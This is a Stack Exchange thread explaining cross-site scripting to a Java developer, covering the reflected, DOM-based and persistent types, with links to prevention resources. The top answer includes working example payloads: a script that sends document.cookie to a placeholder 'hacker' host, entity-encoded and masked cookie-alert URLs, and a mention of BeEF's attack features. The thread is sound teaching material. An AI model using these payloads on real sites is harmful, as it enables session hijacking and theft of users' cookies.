Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I work programming Enterprise Java applications and do very little web development in 2002. I'm interested in security and like to read articles about it. However, I never fully understand how XSS works. Can you explain it to me or pointing some resource to read? The Wikipedia article give me a good idea but I don't think I understand it very well.

share|improve this question

closed as too broad by Eric G, Xander, TildalWave, Iszi, AJ Henderson May 14 at 14:34

There are either too many possible answers, or good answers would be too long for this format. Please add details to narrow the answer set or to isolate an issue that can be answered in a few paragraphs.If this question can be reworded to fit the rules in the help center, please edit the question.

    
Here are two very easy to understand example of XSS virtualforge.de/vmovie/xss_lesson_1/… virtualforge.de/vmovie/xss_lesson_2/… Everyone with a litte background in HTTP and web should be able to understand it. –  Henri Dec 28 '10 at 18:11
5  
Can you give some more specific questions or points of misunderstanding? For the convenience of other visitors, the Wikipedia article is here: en.wikipedia.org/wiki/Cross-site_scripting –  nealmcb Dec 28 '10 at 23:22
    
As almost important things are already covered here, would like just to add some useful links: - about DOM XSS specifically: code.google.com/p/domxsswiki. Project from Stefano Di Paola. - articles about web security: code.google.com/p/doctype/wiki/ArticlesXSS - codelab for improving your knowledge about web-based vulns: google-gruyere.appspot.com - some links around here, search by tag xss. –  anonymous Dec 29 '10 at 10:29

4 Answers 4

up vote 58 down vote accepted

XSS - Cross Site Scripting (but not limited to actual cross site scripting)

XSS is usually presented in 3 different ways:

Non-persistent (often called reflected XSS)

This is when you are able to inject code and the server returns it back to you, unsanitized. Often this can be exploited by distributing an (usually innocent looking) URL in some form or way for others to click on.

This can be particular effective when you're dealing with focused attacks against someone. As long as you can make someone click the URL you sent there is a chance you can gain elevated privileges on the system.

Example:

A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Sitting on the other end, at the webserver, you will be receiving hits where after a double space is the users cookie. You might strike lucky if an administrator clicks the link, allowing you to steal their sessionID and hijack the session.

Using techniques like spam email, message board posts, IM messages, Social Engineering Toolkits this vulnerability can be very dangerous.

DOM-based

Very similar to non-persistent, but where the javascript payload does not have to be echoed back from the webserver. This can often be where simply the value from an URL parameter is echoed back onto the page on the fly when loading using already resident javascript.

Example:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Of course criminals would modify the URL to make it more innocent looking. The same payload as above just encoded differently:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

You can even mask it better when sending to email clients that support HTML like this:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Persistent

Once you are able to persist an XSS vector the attack becomes much more dangerous very fast. A persistent XSS is reflected back to you from the server, usually because the XSS has been stored in a database field or similar. Consider the following input is stored to database and then presented back to you on your profile:

<input type="text" value="Your name" />

If you are able to make the application accept and store unsanitized input, all you have to do is make other users view your profile (or where the XSS is reflected back).

These kinds of XSS can be not only hard to spot, but very devastating to the system. Just take a look at the XSS worm called Samy worm!

In the early days of XSS you saw this kind of exploit all over guestbooks, communities, user reviews, chat rooms and so on.


Two attack vectors

Now that you know the different ways of delivering a XSS payload I'd like to mention a few XSS attack vectors that can be very dangerous:

  • XSS defacement

    XSS defacement is not a hard feat to accomplish. If the XSS is persistent as well, it can be a hassle for the sysadmins to figure it out. Take a look at RSnake Stallowned "attack" which took out Amazon's book preview feature. Quite funny reading.

  • Cookie stealing and session hijacking

    As in one of the examples above, once you can access users' cookies you can also grab sensitive information. Capturing sessionID's can lead to session hijacking, which in turn can lead to elevated privileges on the system.

Sorry about the long post. I'll stop now. As you can see though, XSS is a very big topic to cover. I hope I made it a bit clearer for you, though.


Exploiting XSS with BeEF

To easy see how XSS can be exploited I recommend trying out BeEF, Browser Exploitation Framework. Once it's unpacked and run on a webserver with PHP support, you can easily try spawning a simulation of a victim (called a zombie) where you can very easy try out different XSS payloads. To mention some:

  • Portscan local network
  • Pingsweep local network
  • Send virus infected applet, signed and ready
  • Send messages to client
  • Make a Skype call

The list goes on. Recommend seeing the video on the BeEF homepage.

UPDATE: I've done a write up on XSS on my blog which describes XSS. It contains a bit about the history of XSS, the different attack types and some use-cases including BeEF and Shank.

share|improve this answer
2  
Oh wow, the Sammy.JS wikipedia article wasn't kidding, just look at these search results: google.com/search?q=inurl%3Amyspace.com+Samy+is+my+hero –  Hyangelo Jul 23 '12 at 15:38
    
@Hyangelo, haha I know. Quite epic stuff right there. –  Chris Andrè Dale Jul 24 '12 at 10:59

To piggy-back on what SteveSyfuhs said, there are many possible malicious ways XSS can be used.

Examples:

One example would be to inject malicious code into a database field. Subsequently, any time that field is displayed to the end-user unsanitized, their browser would execute the code. This is called Persistent/Stored Cross Site Scripting.

Another would be the ability to insert code into GET or POST parameters without them being validated or sanitized. When those variables modify the content of your page, the modified data will be displayed to the end-user and their browser would then execute the malicious code. This is typically present in malicious links via email/web that send these GET parameters when someone clicks the link. This is called Reflected Cross Site Scripting.

Resources:

Fortify Software has a great resource for explaining vulnerabilities and giving examples: https://www.fortify.com/vulncat/en/vulncat/index.html

  • Click on the language of choice, and under Input Validation and
    Representation you can select from the different types of Cross Site
    Scripting vulnerabilities as defined by Fortify Software.

OWASP has a great resource for explaining how to prevent XSS vulnerabilities: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

share|improve this answer

In a nutshell, cross-site Scripting tricks the web browser into executing malicious code because the developers didn't check untrusted input.

So if you take an example XSS attack the untrusted input could be a URL parameter containing JavaScript. The developer assumes the parameter only contains data (or doesn't sufficiently check it) and simply adds the contents of the parameter to the HTML page. The browser then dutifully executes the JavaScript and you have yourself a reflected XSS attack.

More information can be found here: OWASP XSS page

share|improve this answer

XSS is about letting arbitrary data into a system and then showing that data unmodified to a user. If I saved some js to my profile and got someone to view that page, the js would execute. As an example I could have the js send contents of the users cookie to my web service, allowing me to do whatever i wanted with their cookie like steal their session.

share|improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.